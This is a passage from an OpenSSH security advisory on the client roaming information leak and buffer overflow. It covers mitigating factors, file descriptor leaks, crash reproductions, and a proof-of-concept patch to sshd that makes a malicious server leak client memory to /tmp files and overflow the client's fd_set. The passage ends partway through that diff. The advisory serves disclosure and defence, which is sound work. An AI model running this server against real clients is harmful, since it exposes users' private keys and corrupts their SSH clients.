ssh_packet_restore_state(struct ssh *ssh,\n2293     struct ssh *backup_state)\n2294 {\n2295         struct ssh *tmp;\n.... \n2299         tmp = backup_state;\n2300         backup_state = ssh;\n2301         ssh = tmp;\n2302         ssh-\u003estate-\u003econnection_in = backup_state-\u003estate-\u003econnection_in;\n\n  As a result, the global pointer backup_state is still NULL when passed\n  to ssh_packet_restore_state(), and crashes the OpenSSH client when\n  dereferenced:\n\n# env ROAMING=\"overflow:A fd_leaks:0\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 15 %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n  This bug prevents the buffer overflow from being exploited, but not\n  the information leak, because the vulnerable function resend_bytes()\n  is called before ssh_packet_restore_state() crashes. \n\n------------------------------------------------------------------------\nFile Descriptor Leak\n------------------------------------------------------------------------\n\nA back-of-the-envelope calculation indicates that, in order to increase\nthe file descriptor connection_in or connection_out, and thus overflow\nthe file descriptor set setp in packet_read_seqnr() or\npacket_write_wait(), a file descriptor leak is needed:\n\n- First, the number of bytes calloc()ated for setp is rounded up to the\n  nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors)\n  on 64-bit systems. \n\n- Next, in glibc, this number is rounded up to the nearest multiple of\n  MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit\n  systems. \n\n- Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit\n  systems, of which 24 bytes (or 192 file descriptors) are reserved for\n  setp. \n\n- In conclusion, a file descriptor leak is needed, because connection_in\n  or connection_out has to be increased by hundreds in order to overflow\n  setp. \n\nThe search for a suitable file descriptor leak begins with a study of\nthe behavior of the four ssh_connect() methods, when called for a\nreconnection by wait_for_roaming_reconnect():\n\n1. The default method ssh_connect_direct() communicates with the server\nthrough a simple TCP socket: the two file descriptors connection_in and\nconnection_out are both equal to this socket\u0027s file descriptor. \n\nIn wait_for_roaming_reconnect(), the low-numbered file descriptor of the\nold TCP socket is close()d by packet_backup_state(), but immediately\nreused for the new TCP socket in ssh_connect_direct(): the new file\ndescriptors connection_in and connection_out are equal to this old,\nlow-numbered file descriptor, and cannot possibly overflow setp. \n\n2. The special ProxyCommand \"-\" communicates with the server through\nstdin and stdout, but (as explained in the Mitigating Factors of the\nInformation Leak section) it cannot possibly reconnect to the server,\nand is therefore immune to this buffer overflow. \n\n3. Surprisingly, we discovered a file descriptor leak in the\nssh_proxy_fdpass_connect() method itself; indeed, the file descriptor\nsp[1] is never close()d:\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103     const char *proxy_command)\n 104 {\n ... \n 106         int sp[2], sock;\n ... \n 113         if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) \u003c 0)\n 114                 fatal(\"Could not create socketpair to communicate with \"\n 115                     \"proxy dialer: %.100s\", strerror(errno));\n ... \n 161         close(sp[0]);\n ... \n 164         if ((sock = mm_receive_fd(sp[1])) == -1)\n 165                 fatal(\"proxy dialer did not pass back a connection\");\n ... \n 171         /* Set the connection file descriptors. */\n 172         packet_set_connection(sock, sock);\n 173\n 174         return 0;\n 175 }\n\nHowever, two different reasons prevent this file descriptor leak from\ntriggering the setp overflow:\n\n- The method ssh_proxy_fdpass_connect() communicates with the server\n  through a single socket received from the ProxyCommand: the two file\n  descriptors connection_in and connection_out are both equal to this\n  socket\u0027s file descriptor. \n\n  In wait_for_roaming_reconnect(), the low-numbered file descriptor of\n  the old socket is close()d by packet_backup_state(), reused for sp[0]\n  in ssh_proxy_fdpass_connect(), close()d again, and eventually reused\n  again for the new socket: the new file descriptors connection_in and\n  connection_out are equal to this old, low-numbered file descriptor,\n  and cannot possibly overflow setp. \n\n- Because of the waitpid() bug described in the Mitigating Factors of\n  the Information Leak section, the method ssh_proxy_fdpass_connect()\n  calls fatal() before it returns to wait_for_roaming_reconnect(), and\n  is therefore immune to this buffer overflow. \n\n4. The method ssh_proxy_connect() communicates with the server through a\nProxyCommand and two different pipes: the file descriptor connection_in\nis the read end of the second pipe (pout[0]), and the file descriptor\nconnection_out is the write end of the first pipe (pin[1]):\n\n 180 static int\n 181 ssh_proxy_connect(const char *host, u_short port, const char *proxy_command)\n 182 {\n ... \n 184         int pin[2], pout[2];\n ... \n 192         if (pipe(pin) \u003c 0 || pipe(pout) \u003c 0)\n 193                 fatal(\"Could not create pipes to communicate with the proxy: %.100s\",\n 194                     strerror(errno));\n ... \n 240         /* Close child side of the descriptors. */\n 241         close(pin[0]);\n 242         close(pout[1]);\n ... \n 247         /* Set the connection file descriptors. */\n 248         packet_set_connection(pout[0], pin[1]);\n 249\n 250         /* Indicate OK return */\n 251         return 0;\n 252 }\n\nIn wait_for_roaming_reconnect(), the two old, low-numbered file\ndescriptors connection_in and connection_out are both close()d by\npacket_backup_state(), and immediately reused for the pipe(pin) in\nssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of\nthese old, low-numbered file descriptors, and cannot possibly overflow\nsetp. \n\nOn the other hand, the pipe(pout) in ssh_proxy_connect() may return\nhigh-numbered file descriptors, and the new connection_in (pout[0]) may\ntherefore overflow setp, if hundreds of file descriptors were leaked\nbefore the call to wait_for_roaming_reconnect():\n\n- We discovered a file descriptor leak in the pubkey_prepare() function\n  of OpenSSH \u003e= 6.8; indeed, if the client is running an authentication\n  agent that does not offer any private keys, the reference to agent_fd\n  is lost, and this file descriptor is never close()d:\n\n1194 static void\n1195 pubkey_prepare(Authctxt *authctxt)\n1196 {\n.... \n1200         int agent_fd, i, r, found;\n.... \n1247         if ((r = ssh_get_authentication_socket(\u0026agent_fd)) != 0) {\n1248                 if (r != SSH_ERR_AGENT_NOT_PRESENT)\n1249                         debug(\"%s: ssh_get_authentication_socket: %s\",\n1250                             __func__, ssh_err(r));\n1251         } else if ((r = ssh_fetch_identitylist(agent_fd, 2, \u0026idlist)) != 0) {\n1252                 if (r != SSH_ERR_AGENT_NO_IDENTITIES)\n1253                         debug(\"%s: ssh_fetch_identitylist: %s\",\n1254                             __func__, ssh_err(r));\n1255         } else {\n.... \n1288                 authctxt-\u003eagent_fd = agent_fd;\n1289         }\n.... \n1299 }\n\n  However, OpenSSH clients \u003e= 6.8 crash in ssh_packet_restore_state()\n  (because of the NULL-pointer dereference discussed in the Mitigating\n  Factors of the Buffer Overflow section) and are immune to the setp\n  overflow, despite this agent_fd leak. \n\n- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH\n  client (it is disabled by default), a malicious SSH server can request\n  hundreds of forwardings, in order to increase connection_in (each\n  forwarding opens a file descriptor), and thus overflow setp in\n  packet_read_seqnr():\n\n# env ROAMING=\"overflow:A\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007f0474d03e70 ***\nAborted (core dumped)\n\n# env ROAMING=\"overflow:X\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/ssh -X -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***\n*** Error in `/usr/bin/ssh\u0027: malloc(): memory corruption: 0x00007fdcc2a3abc0 ***\n\nFinally, a brief digression on two unexpected problems that had to be\nsolved in our proof-of-concept:\n\n- First, setp can be overflowed only in packet_read_seqnr(), not in\n  packet_write_wait(), but agent forwarding and X11 forwarding are post-\n  authentication functionalities, and post-authentication calls to\n  packet_read() or packet_read_expect() are scarce, except in the\n  key-exchange code of OpenSSH clients \u003c 6.8: our proof-of-concept\n  effectively forces a rekeying in order to overflow setp in\n  packet_read_seqnr(). \n\n- Second, after a successful reconnection, packet_read_seqnr() may call\n  fatal(\"Read from socket failed: %.100s\", ...), because roaming_read()\n  may return EAGAIN (EAGAIN is never returned without the reconnection,\n  because the preceding call to select() guarantees that connection_in\n  is ready for read()). Our proof-of-concept works around this problem\n  by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server,\n  allowing data to reach the client before roaming_read() is called,\n  thus avoiding EAGAIN. \n\n\n========================================================================\nAcknowledgments\n========================================================================\n\nWe would like to thank the OpenSSH developers for their great work and\ntheir incredibly quick response, Red Hat Product Security for promptly\nassigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall\nProject for the interesting discussions. \n\n\n========================================================================\nProof Of Concept\n========================================================================\n\ndiff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c\n--- openssh-6.4p1/auth2-pubkey.c\t2013-07-17 23:10:10.000000000 -0700\n+++ openssh-6.4p1+roaming/auth2-pubkey.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)\n \t\t * if a user is not allowed to login. is this an\n \t\t * issue? -markus\n \t\t */\n-\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key))) {\n+\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key)) || 1) {\n+\t\t\tdebug(\"%s: force client-side load_identity_file\",\n+\t\t\t    __func__);\n \t\t\tpacket_start(SSH2_MSG_USERAUTH_PK_OK);\n \t\t\tpacket_put_string(pkalg, alen);\n \t\t\tpacket_put_string(pkblob, blen);\ndiff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c\n--- openssh-6.4p1/kex.c\t2013-06-01 14:31:18.000000000 -0700\n+++ openssh-6.4p1+roaming/kex.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],\n }\n \n static void\n+roaming_reconnect(void)\n+{\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);\n+\tconst u_int id = packet_get_int(); /* roaming_id */\n+\tdebug(\"%s: id %u\", __func__, id);\n+\tpacket_check_eom();\n+\n+\tconst char *const dir = get_roaming_dir(id);\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tconst int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, dir, errno);\n+\tif (fchdir(fd) != 0)\n+\t\tfatal(\"%s: fchdir %s errno %d\", __func__, dir, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, dir, errno);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);\n+\tpacket_put_int64(arc4random()); /* chall */\n+\tpacket_put_int64(arc4random()); /* oldchall */\n+\tpacket_send();\n+\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);\n+\tconst u_int64_t client_read_bytes = packet_get_int64();\n+\tdebug(\"%s: client_read_bytes %llu\", __func__,\n+\t    (unsigned long long)client_read_bytes);\n+\tpacket_get_int64(); /* digest (1-8) */\n+\tpacket_get_int64(); /* digest (9-16) */\n+\tpacket_get_int();   /* digest (17-20) */\n+\tpacket_check_eom();\n+\n+\tu_int64_t client_write_bytes;\n+\tsize_t len = sizeof(client_write_bytes);\n+\tload_roaming_file(\"client_write_bytes\", \u0026client_write_bytes, \u0026len);\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t    (unsigned long long)client_write_bytes);\n+\n+\tu_int client_out_buf_size;\n+\tlen = sizeof(client_out_buf_size);\n+\tload_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size, \u0026len);\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0 || client_out_buf_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: client_out_buf_size %u\", __func__,\n+\t\t\t   client_out_buf_size);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);\n+\tpacket_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);\n+\tpacket_send();\n+\tconst int overflow = (access(\"output\", F_OK) == 0);\n+\tif (overflow != 0) {\n+\t\tconst void *const ptr = load_roaming_file(\"output\", NULL, \u0026len);\n+\t\tbuffer_append(packet_get_output(), ptr, len);\n+\t}\n+\tpacket_write_wait();\n+\n+\tchar *const client_out_buf = xmalloc(client_out_buf_size);\n+\tif (atomicio(read, packet_get_connection_in(), client_out_buf,\n+\t\t\t       client_out_buf_size) != client_out_buf_size)\n+\t\tfatal(\"%s: read client_out_buf_size %u errno %d\", __func__,\n+\t\t\t\tclient_out_buf_size, errno);\n+\tif (overflow == 0)\n+\t\tdump_roaming_file(\"infoleak\", client_out_buf,\n+\t\t\t\t\t      client_out_buf_size);\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n kex_choose_conf(Kex *kex)\n {\n \tNewkeys *newkeys;\n@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)\n \t\t\tkex-\u003eroaming = 1;\n \t\t\tfree(roaming);\n \t\t}\n+\t} else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {\n+\t\troaming_reconnect();\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, KEX_RESUME);\n \t}\n \n \t/* Algorithm Negotiation */\ndiff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h\n--- openssh-6.4p1/roaming.h\t2011-12-18 15:52:52.000000000 -0800\n+++ openssh-6.4p1+roaming/roaming.h\t2016-01-07 01:04:15.000000000 -0800\n@@ -42,4 +42,86 @@ void\tresend_bytes(int, u_int64_t *);\n void\tcalculate_new_key(u_int64_t *, u_int64_t, u_int64_t);\n int\tresume_kex(void);\n \n+#include \u003cfcntl.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003csys/stat.h\u003e\n+#include \u003csys/types.h\u003e\n+#include \u003cunistd.h\u003e\n+\n+#include \"atomicio.h\"\n+#include \"log.h\"\n+#include \"xmalloc.h\"\n+\n+static inline char *\n+get_roaming_dir(const u_int id)\n+{\n+\tconst size_t buflen = MAXPATHLEN;\n+\tchar *const buf = xmalloc(buflen);\n+\n+\tif ((u_int)snprintf(buf, buflen, \"/tmp/roaming-%08x\", id) \u003e= buflen)\n+\t\tfatal(\"%s: snprintf %u error\", __func__, id);\n+\treturn buf;\n+}\n+\n+static inline void\n+dump_roaming_file(const char *const name,\n+    const void *const buf, const size_t buflen)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buf == NULL)\n+\t\tfatal(\"%s: %s buf %p\", __func__, name, buf);\n+\tif (buflen \u003c= 0 || buflen \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s buflen %lu\", __func__, name, (u_long)buflen);\n+\n+\tconst int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tif (write(fd, buf, buflen) != (ssize_t)buflen)\n+\t\tfatal(\"%s: write %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+}\n+\n+static inline void *\n+load_roaming_file(const char *const name,\n+    void *buf, size_t *const buflenp)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buflenp == NULL)\n+\t\tfatal(\"%s: %s buflenp %p\", __func__, name, buflenp);\n+\n+\tconst int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tstruct stat st;\n+\tif (fstat(fd, \u0026st) != 0)\n+\t\tfatal(\"%s: fstat %s errno %d\", __func__, name, errno);\n+\tif (S_ISREG(st.st_mode) == 0)\n+\t\tfatal(\"%s: %s mode 0%o\", __func__, name, (u_int)st.st_mode);\n+\tif (st.st_size \u003c= 0 || st.st_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s size %lld\", __func__, name,\n+\t\t    (long long)st.st_size);\n+\n+\tif (buf == NULL) {\n+\t\t*buflenp = st.st_size;\n+\t\tbuf = xmalloc(*buflenp);\n+\t} else {\n+\t\tif (*buflenp != (size_t)st.st_size)\n+\t\t\tfatal(\"%s: %s size %lld buflen %lu\", __func__, name,\n+\t\t\t    (long long)st.st_size, (u_long)*buflenp);\n+\t}\n+\tif (read(fd, buf, *buflenp) != (ssize_t)*buflenp)\n+\t\tfatal(\"%s: read %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+\treturn buf;\n+}\n+\n #endif /* ROAMING */\ndiff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c\n--- openssh-6.4p1/serverloop.c\t2013-07-17 23:12:45.000000000 -0700\n+++ openssh-6.4p1+roaming/serverloop.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -1060,6 +1060,9 @@ server_request_session(void)\n \treturn c;\n }\n \n+static int client_session_channel = -1;\n+static int server_session_channel = -1;\n+\n static void\n server_input_channel_open(int type, u_int32_t seq, void *ctxt)\n {\n@@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in\n \t\tc-\u003eremote_window = rwindow;\n \t\tc-\u003eremote_maxpacket = rmaxpack;\n \t\tif (c-\u003etype != SSH_CHANNEL_CONNECTING) {\n+\t\t\tdebug(\"%s: avoid client-side buf_append\", __func__);\n+\t\t\t/*\n \t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n \t\t\tpacket_put_int(c-\u003eremote_id);\n \t\t\tpacket_put_int(c-\u003eself);\n \t\t\tpacket_put_int(c-\u003elocal_window);\n \t\t\tpacket_put_int(c-\u003elocal_maxpacket);\n \t\t\tpacket_send();\n+\t\t\t*/\n+\t\t\tif (strcmp(ctype, \"session\") == 0) {\n+\t\t\t\tif (client_session_channel != -1)\n+\t\t\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t\t\t    __func__, client_session_channel);\n+\t\t\t\tclient_session_channel = c-\u003eremote_id;\n+\t\t\t\tserver_session_channel = c-\u003eself;\n+\t\t\t}\n \t\t}\n \t} else {\n \t\tdebug(\"server_input_channel_open: failure %s\", ctype);\n@@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in\n }\n \n static void\n+roaming_disconnect(Kex *const kex)\n+{\n+\tconst char *cp, *roaming = getenv(\"ROAMING\");\n+\tif (roaming == NULL)\n+\t\troaming = \"infoleak\";\n+\tint overflow = 0;\n+\tif ((cp = strstr(roaming, \"overflow:\")) != NULL)\n+\t\toverflow = cp[9];\n+\n+\tconst u_int client_recv_buf_size = packet_get_int();\n+\tpacket_check_eom();\n+\tconst u_int server_recv_buf_size = get_recv_buf_size();\n+\tconst u_int server_send_buf_size = get_snd_buf_size();\n+\tdebug(\"%s: client_recv_buf_size %u\", __func__, client_recv_buf_size);\n+\tdebug(\"%s: server_recv_buf_size %u\", __func__, server_recv_buf_size);\n+\tdebug(\"%s: server_send_buf_size %u\", __func__, server_send_buf_size);\n+\n+\tu_int client_send_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_send_buf_size:\")) != NULL)\n+\t\tclient_send_buf_size = strtoul(cp + 21, NULL, 0);\n+\telse if (client_recv_buf_size == DEFAULT_ROAMBUF)\n+\t\tclient_send_buf_size = DEFAULT_ROAMBUF;\n+\telse {\n+\t\tconst u_int\n+\t\t    max = MAX(client_recv_buf_size, server_recv_buf_size),\n+\t\t    min = MIN(client_recv_buf_size, server_recv_buf_size);\n+\t\tif (min \u003c= 0)\n+\t\t\tfatal(\"%s: min %u\", __func__, min);\n+\t\tif (((u_int64_t)(max - min) * 1024) / min \u003c 1)\n+\t\t\tclient_send_buf_size = server_send_buf_size;\n+\t\telse\n+\t\t\tclient_send_buf_size = client_recv_buf_size;\n+\t}\n+\tdebug(\"%s: client_send_buf_size %u\", __func__, client_send_buf_size);\n+\tif (client_send_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_send_buf_size\", __func__);\n+\n+\tu_int id = 0;\n+\tchar *dir = NULL;\n+\tfor (;;) {\n+\t\tid = arc4random();\n+\t\tdebug(\"%s: id %u\", __func__, id);\n+\t\tfree(dir);\n+\t\tdir = get_roaming_dir(id);\n+\t\tif (mkdir(dir, S_IRWXU) == 0)\n+\t\t\tbreak;\n+\t\tif (errno != EEXIST)\n+\t\t\tfatal(\"%s: mkdir %s errno %d\", __func__, dir, errno);\n+\t}\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tif (chdir(dir) != 0)\n+\t\tfatal(\"%s: chdir %s errno %d\", __func__, dir, errno);\n+\n+\tu_int client_out_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_out_buf_size:\")) != NULL)\n+\t\tclient_out_buf_size = strtoul(cp + 20, NULL, 0);\n+\telse if (overflow != 0)\n+\t\tclient_out_buf_size = MAX_ROAMBUF;\n+\telse\n+\t\tclient_out_buf_size = 1 + arc4random() % 4096;\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_out_buf_size\", __func__);\n+\tdump_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size,\n+\t\t\t\t\t   sizeof(client_out_buf_size));\n+\n+\tif ((cp = strstr(roaming, \"scp_mode\")) != NULL) {\n+\t\tif (overflow != 0)\n+\t\t\tfatal(\"%s: scp_mode is incompatible with overflow %d\",\n+\t\t\t    __func__, overflow);\n+\n+\t\tu_int seconds_left_to_sleep = 3;\n+\t\tif ((cp = strstr(cp, \"sleep:\")) != NULL)\n+\t\t\tseconds_left_to_sleep = strtoul(cp + 6, NULL, 0);\n+\t\tdebug(\"%s: sleep %u\", __func__, seconds_left_to_sleep);\n+\n+\t\tif (client_session_channel == -1)\n+\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t    __func__, client_session_channel);\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_int(server_session_channel);\n+\t\tpacket_put_int(0); /* server window */\n+\t\tpacket_put_int(0); /* server maxpacket */\n+\t\tpacket_send();\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_DATA);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_string(\"\\0\\n\", 2); /* response\u0026source|sink\u0026run_err */\n+\t\tpacket_send();\n+\n+\t\tpacket_read_expect(SSH2_MSG_CHANNEL_REQUEST);\n+\t\tpacket_get_int(); /* server channel */\n+\t\tdebug(\"%s: channel request %s\", __func__,\n+\t\t    packet_get_cstring(NULL));\n+\n+\t\twhile (seconds_left_to_sleep)\n+\t\t\tseconds_left_to_sleep = sleep(seconds_left_to_sleep);\n+\t}\n+\n+\tpacket_start(SSH2_MSG_REQUEST_SUCCESS);\n+\tpacket_put_int(id); /* roaming_id */\n+\tpacket_put_int64(arc4random()); /* cookie */\n+\tpacket_put_int64(0); /* key1 */\n+\tpacket_put_int64(0); /* key2 */\n+\tpacket_put_int(client_out_buf_size - client_send_buf_size);\n+\tpacket_send();\n+\tpacket_write_wait();\n+\n+\tif (overflow != 0) {\n+\t\tconst u_int64_t full_client_out_buf = get_recv_bytes() +\n+\t\t\t\t     client_out_buf_size;\n+\n+\t\tu_int fd_leaks = 4 * 8 * 8; /* MIN_CHUNK_SIZE in bits */\n+\t\tif ((cp = strstr(roaming, \"fd_leaks:\")) != NULL)\n+\t\t\tfd_leaks = strtoul(cp + 9, NULL, 0);\n+\t\tdebug(\"%s: fd_leaks %u\", __func__, fd_leaks);\n+\n+\t\twhile (fd_leaks--) {\n+\t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN);\n+\t\t\tpacket_put_cstring(overflow == \u0027X\u0027 ? \"x11\" :\n+\t\t\t    \"auth-agent@openssh.com\"); /* ctype */\n+\t\t\tpacket_put_int(arc4random()); /* server channel */\n+\t\t\tpacket_put_int(arc4random()); /* server window */\n+\t\t\tpacket_put_int(arc4random()); /* server maxpacket */\n+\t\t\tif (overflow == \u0027X\u0027) {\n+\t\t\t\tpacket_put_cstring(\"\"); /* originator */\n+\t\t\t\tpacket_put_int(arc4random()); /* port */\n+\t\t\t}\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\t\tpacket_get_int(); /* server channel */\n+\t\t\tpacket_get_int(); /* client channel */\n+\t\t\tpacket_get_int(); /* client window */\n+\t\t\tpacket_get_int(); /* client maxpacket */\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\twhile (get_recv_bytes() \u003c= full_client_out_buf) {\n+\t\t\tpacket_start(SSH2_MSG_GLOBAL_REQUEST);\n+\t\t\tpacket_put_cstring(\"\"); /* rtype */\n+\t\t\tpacket_put_char(1); /* want_reply */\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_REQUEST_FAILURE);\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\tif (kex == NULL)\n+\t\t\tfatal(\"%s: no kex, cannot rekey\", __func__);\n+\t\tif (kex-\u003eflags \u0026 KEX_INIT_SENT)\n+\t\t\tfatal(\"%s: KEX_INIT_SENT already\", __func__);\n+\t\tchar *const ptr = buffer_ptr(\u0026kex-\u003emy);\n+\t\tconst u_int len = buffer_len(\u0026kex-\u003emy);\n+\t\tif (len \u003c= 1+4) /* first_kex_follows + reserved */\n+\t\t\tfatal(\"%s: kex len %u\", __func__, len);\n+\t\tptr[len - (1+4)] = 1; /* first_kex_follows */\n+\t\tkex_send_kexinit(kex);\n+\n+\t\tu_int i;\n+\t\tpacket_read_expect(SSH2_MSG_KEXINIT);\n+\t\tfor (i = 0; i \u003c KEX_COOKIE_LEN; i++)\n+\t\t\tpacket_get_char();\n+\t\tfor (i = 0; i \u003c PROPOSAL_MAX; i++)\n+\t\t\tfree(packet_get_string(NULL));\n+\t\tpacket_get_char(); /* first_kex_follows */\n+\t\tpacket_get_int(); /* reserved */\n+\t\tpacket_check_eom();\n+\n+\t\tchar buf[8192*2]; /* two packet_read_seqnr bufferfuls */\n+\t\tmemset(buf, \u0027\\0\u0027, sizeof(buf));\n+\t\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL);\n+\t\tpacket_put_string(buf, sizeof(buf));\n+\t\tpacket_send();\n+\t\tconst Buffer *const output = packet_get_output();\n+\t\tdump_roaming_file(\"output\", buffer_ptr(output),\n+\t\t\t\t\t    buffer_len(output));\n+\t}\n+\n+\tconst u_int64_t client_write_bytes = get_recv_bytes();\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t    (unsigned long long)client_write_bytes);\n+\tdump_roaming_file(\"client_write_bytes\", \u0026client_write_bytes,\n+\t\t\t\t\t  sizeof(client_write_bytes));\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n server_input_global_request(int type, u_int32_t seq, void *ctxt)\n {\n \tchar *rtype;\n@@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_\n \t} else if (strcmp(rtype, \"no-more-sessions@openssh.com\") == 0) {\n \t\tno_more_sessions = 1;\n \t\tsuccess = 1;\n+\t} else if (strcmp(rtype, ROAMING_REQUEST) == 0) {\n+\t\tif (want_reply != 1)\n+\t\t\tfatal(\"%s: rtype %s want_reply %d\", __func__,\n+\t\t\t\t   rtype, want_reply);\n+\t\troaming_disconnect(ctxt);\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, ROAMING_REQUEST);\n \t}\n \tif (want_reply) {\n \t\tpacket_start(success ?\ndiff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c\n--- openssh-6.4p1/sshd.c\t2013-07-19 20:21:53.000000000 -0700\n+++ openssh-6.4p1+roaming/sshd.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -2432,6 +2432,8 @@ do_ssh2_kex(void)\n \t}\n \tif (options.kex_algorithms != NULL)\n \t\tmyproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms;\n+\telse\n+\t\tmyproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX \",\" KEX_RESUME;\n \n \tif 